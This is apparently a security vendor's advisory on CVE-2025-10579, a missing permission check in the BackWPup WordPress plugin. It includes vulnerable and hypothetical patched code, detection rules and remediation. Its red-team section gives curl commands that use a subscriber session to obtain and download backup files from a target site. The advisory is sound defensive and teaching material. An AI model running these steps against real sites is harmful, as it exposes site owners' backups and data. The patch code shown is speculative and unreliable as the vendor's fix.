CVE-2025-10579

Executive Summary

CVE-2025-10579 is a vulnerability in the BackWPup – WordPress Backup & Restore Plugin for WordPress, affecting all versions up to and including 5.5.0. The flaw resides in the backwpup_working AJAX action, which lacks a proper capability check. This allows authenticated attackers with Subscriber-level access or higher to retrieve the filename of an active backup. While the exposed filename alone has limited value, it can be leveraged in a brute-force attack to download backup contents, particularly in environments where direct access to backup files is restricted (e.g., NGINX with directory listing disabled). The vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The BackWPup plugin is widely used for backup and restore operations. The missing capability check in the AJAX action is a common WordPress plugin security issue, where actions intended for administrators are accessible to lower-privileged users.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (exposure of backup filename)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication but is trivial to exploit once authenticated. The exposed filename can aid in brute-force attacks against backup files.

Deep Dive & Mechanics

The vulnerability exists in the backwpup_working AJAX action handler. In WordPress, AJAX actions are registered with hooks like wp_ajax_* for authenticated users and wp_ajax_nopriv_* for unauthenticated users. The backwpup_working action is intended to provide status information about a running backup process. However, the code fails to perform a capability check (e.g., current_user_can('manage_options')) before returning the backup filename.

Root Cause: The missing capability check in the AJAX callback function. The function likely retrieves the current backup status from a transient or option and returns the filename without verifying the user's role.

Attack Flow:

1. An attacker authenticates with Subscriber-level credentials.
2. The attacker sends a POST request to /wp-admin/admin-ajax.php with action=backwpup_working.
3. The plugin returns the filename of the currently running backup (e.g., backup-2025-03-15-12345.zip).
4. The attacker uses this filename to attempt to download the backup file directly (e.g., /wp-content/uploads/backup-2025-03-15-12345.zip).
5. If the backup file is stored in a web-accessible directory and not protected by .htaccess or other means, the attacker can download it. In NGINX environments without directory listing, the filename is essential for direct access.

Vulnerable vs. Patched Code

Vulnerable Code (<= 5.5.0):

add_action('wp_ajax_backwpup_working', 'backwpup_working_callback');
function backwpup_working_callback() {
    $backup_file = get_option('backwpup_current_backup_file');
    wp_send_json_success(array('filename' => $backup_file));
}

Patched Code (Hypothetical):

add_action('wp_ajax_backwpup_working', 'backwpup_working_callback');
function backwpup_working_callback() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $backup_file = get_option('backwpup_current_backup_file');
    wp_send_json_success(array('filename' => $backup_file));
}

The patch adds a capability check (current_user_can('manage_options')) to restrict access to administrators only.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with BackWPup plugin <= 5.5.0
• Valid user credentials with Subscriber role or higher
• A backup job must be running (or recently completed) to have a filename available

Exploitation Steps:

1. Log in as a Subscriber.
2. Send a POST request to the AJAX endpoint:

curl -X POST 'http://target.com/wp-admin/admin-ajax.php' \
  -d 'action=backwpup_working' \
  --cookie 'wordpress_logged_in_xxx=...'

3. Parse the JSON response to extract the filename:

{"success":true,"data":{"filename":"backup-2025-03-15-12345.zip"}}

4. Attempt to download the backup file:

curl -O 'http://target.com/wp-content/uploads/backup-2025-03-15-12345.zip'

5. If the file is protected, use the filename in a brute-force attack against the backup file location.

Blue Team (Detection & Defense)

Detection:

• Monitor AJAX requests to admin-ajax.php with action=backwpup_working from non-admin users.
• Alert on multiple failed attempts to download backup files (e.g., 404 errors for backup filenames).
• Use the Sigma rule below to detect exploitation attempts.

Defense:

• Apply the patch as soon as it becomes available.
• Restrict access to backup files using .htaccess or NGINX configuration:

location ~* \.zip$ {
    deny all;
}

• Implement Web Application Firewall (WAF) rules to block requests to admin-ajax.php with action=backwpup_working from low-privilege users.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with body action=backwpup_working
  • GET requests to /wp-content/uploads/*.zip with filenames matching backup patterns (e.g., backup-*.zip)
• File System:
  • Backup files in /wp-content/uploads/ with names like backup-YYYY-MM-DD-*.zip
• Logs:
  • WordPress debug log entries showing AJAX calls from Subscriber users
  • Web server access logs with 200 responses to admin-ajax.php with action=backwpup_working

Detection Engineering

YARA Rule

rule Detect_BackWPup_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-10579 in BackWPup plugin"
        author = "Valters IT"
        date = "2025-03-15"
        reference = "CVE-2025-10579"
    strings:
        $ajax_action = "action=backwpup_working"
        $wp_ajax = "admin-ajax.php"
        $backup_file = "backup-" ascii
    condition:
        $ajax_action and $wp_ajax and $backup_file
}

Sigma Rule

title: BackWPup CVE-2025-10579 Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit missing capability check in BackWPup plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=backwpup_working'
    condition: selection
falsepositives:
    - Legitimate admin usage (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10579 BackWPup AJAX Exploit"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=backwpup_working"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: Check for a patched version (expected > 5.5.0) and update immediately.
2. Restrict backup file access: Add the following to .htaccess (Apache) or NGINX config:
   • Apache: Deny from all in the backup directory
   • NGINX: deny all; for .zip files
3. Disable the AJAX action temporarily: Add a code snippet to your theme's functions.php:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX && isset($_POST['action']) && $_POST['action'] === 'backwpup_working') {
        if (!current_user_can('manage_options')) {
            wp_die('Unauthorized', 403);
        }
    }
});

Long-term Fix:

• The vendor must add a capability check in the backwpup_working AJAX callback.
• Implement role-based access control for all AJAX actions.

Valters IT – DevSecOps & Cyber Threat Intelligence